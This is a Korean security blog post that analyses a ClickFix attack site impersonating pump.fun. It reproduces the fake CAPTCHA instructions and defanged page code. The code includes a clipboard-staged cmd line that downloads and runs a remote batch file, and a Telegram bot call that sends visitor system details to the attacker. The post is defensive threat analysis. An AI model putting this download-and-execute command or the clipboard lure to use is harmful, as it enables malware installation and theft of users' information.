꿈을꾸는 파랑새

오늘은 2023년 초에 출시된 pump(.)fun은 솔라나 및 블라스트 블록체인에서 밈코인을 생성하고 거래하는 데 중점을 둔 플랫폼 을 사칭을 해서 ClickFix(클릭픽스) 악성코드 공격에 대해 알아보겠습니다.
공격 사이트
hxxps://pumpfunaaexposed(.)pages(.)dev
사이트 내용은 다음과 같이 돼 있는 것을 확인할 수가 있습니다.

펌프닷펀 클릭픽스 공격
펌프닷펀 클릭픽스 공격

pumpfun(.)exposed
Verify you are human by completing the action below.
Verify you are human
Privacy
Terms
pumpfun.exposed needs to review the security of your connection before proceeding

로봇 아님 클릭시 클릭픽스 유도
로봇 아님 클릭시 클릭픽스 유도

이라고 돼 있고 Verify you are human이라는 부분을 클릭하고 복사, 붙여 넣기 해서 cmd,PowerShell를 실행을 해서 악성코드 다운로드 및 실행을 하게 악성코드를 실행하는 방법을 사용하고 있습니다.

웹소스에 있는 클릭픽스 유도 명령어
웹소스에 있는 클릭픽스 유도 명령어

Press & hold the Windows Key + R.
In the verification window, press Ctrl + V.
Press Enter on your keyboard to finish.
You will observe and agree:
I am not a robot - reCAPTCHA Verification ID: ???
웹소스
    const cmd = 'cmd /c start /min cmd(.)exe /c "curl -L "hxxps://pumpfun(.)exposed/a(.)cmd" -o "%temp%\\verification(.)txt(.)bat" && call "%temp%\\verification(.)txt(.)bat""';
    .........................

    let doOnce = false;

    ...........
        
        verifyWnd?st?yle(.)visibility = "visible";
        verifyWnd.style.op(a)city = "100%";
        checkboxBtn.disab(l)ed = true;

        stageClipboard(cmd, (g)eneratedId);

  ...............
 const url = `hxxps://api(.)telegram(.)org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
            const respon/se = await fetch(url, {
                met?hod: 'POST',
                hea?ders: {
                    'Conten?t-Type': '????????
                },
                body: JSON?.stringify({
                    chat_id: TELEGRAM_CHAT_ID,
                    text: full???/ge
                })
            });

            if (!response.ok) {
                console.error('Telegram notification failed', await response.text());
            }
        } catch (error) {
            console.error('Error sending Telegram notification:', error);
        }
    }

        .................
        const te???x?tToCopy = comm(a)ndToRun (+) suffix (+) ploy + verification_id + end

        setClipbo?ar(d)CopyData(textToCopy);
    }

    function getBr(o)wserInfo() {
        const ua = na(v)igator.userAgent;
        let browserN(a)me = 'Unknown', browserVersion = 'Unknown', osName = 'Unknown';

        // Browser d(e)tection
        if (ua.includes('Firefox')) {
            browserName = 'Firefox';
            browserVersion = ua.match(/Firefox\/([0-9.]+)/)?.[1] || 'Unknown';
        } else if (ua.includes('Chrome')) {
            browserName = 'Chrome';
            browserVersion = ua.match(/Chrome\/([0-9.]+)/)?.[1] || 'Unknown';
        } else if (ua.includes('Safari')) {
            browserName = 'Safari';
            browserVersion = ua.match(/Version\/([0-9.]+)/)?.[1] || 'Unknown';
        } else if (ua.includes('MSIE') || ua.includes('Trident/')) {
            browserName = 'Internet Explorer';
            browserVersi?on = ua.match(/(MSIE|rv:)\s*([0-9.]+)/)?.[2] || 'Unknown';
        } else if (ua.includes('Edge')) {
            browserNam??e = 'Microsoft Edge';
            browserVersi?on = ua.match(/Edge\/([0-9.]+)/)?.[1] || 'Unknown';
        }

        // OS Detection
        if (ua.includes('Windows')) osName = 'Windows';
        else if (ua.inclu?des('Mac')) osName = 'macOS';
        else if (ua.inclu?des('Linux')) osName = 'Linux';
        else if (ua.inclu?des('Android')) osName = 'Android';
        else if (ua.inclu?des('iOS')) osName = 'iOS';
    }

 

악성 html 분석

1. 가짜 CAPTCHA로 사용자 속이기
reCAPTCHA 처럼 보이는 체크박스를 클릭하게 유도
클라우드파이어 가 아님
2. 클립보드에 악성 명령어 복사
curl로 악성.cmd 파일 다운로드
%temp% 폴더에 저장->즉시 악성코드 실해
3. 텔레그램으로 사용자 정보 유출
navigator.userAgent,OS,브라우저 정보 등을 수집
텔레그램 봇을 통해 공격자에게 전송
사용자가 해당 부분을 실행하면 시스템 정보(브라우저, OS 등)를 공격자 텔레그램으로 전송 방법을 사용하고 있음
QuasarRAT 이며 Kimsuky(김수키) 에서 xRAT (Quasar RAT 기반의 오픈소스 RAT) 악성코드를 사용했다는 것을 2022년 기사에서 확인을 할 수가 있었으며 결론 조심하자~

공유하기

facebook twitter kakaoTalk kakaostory naver band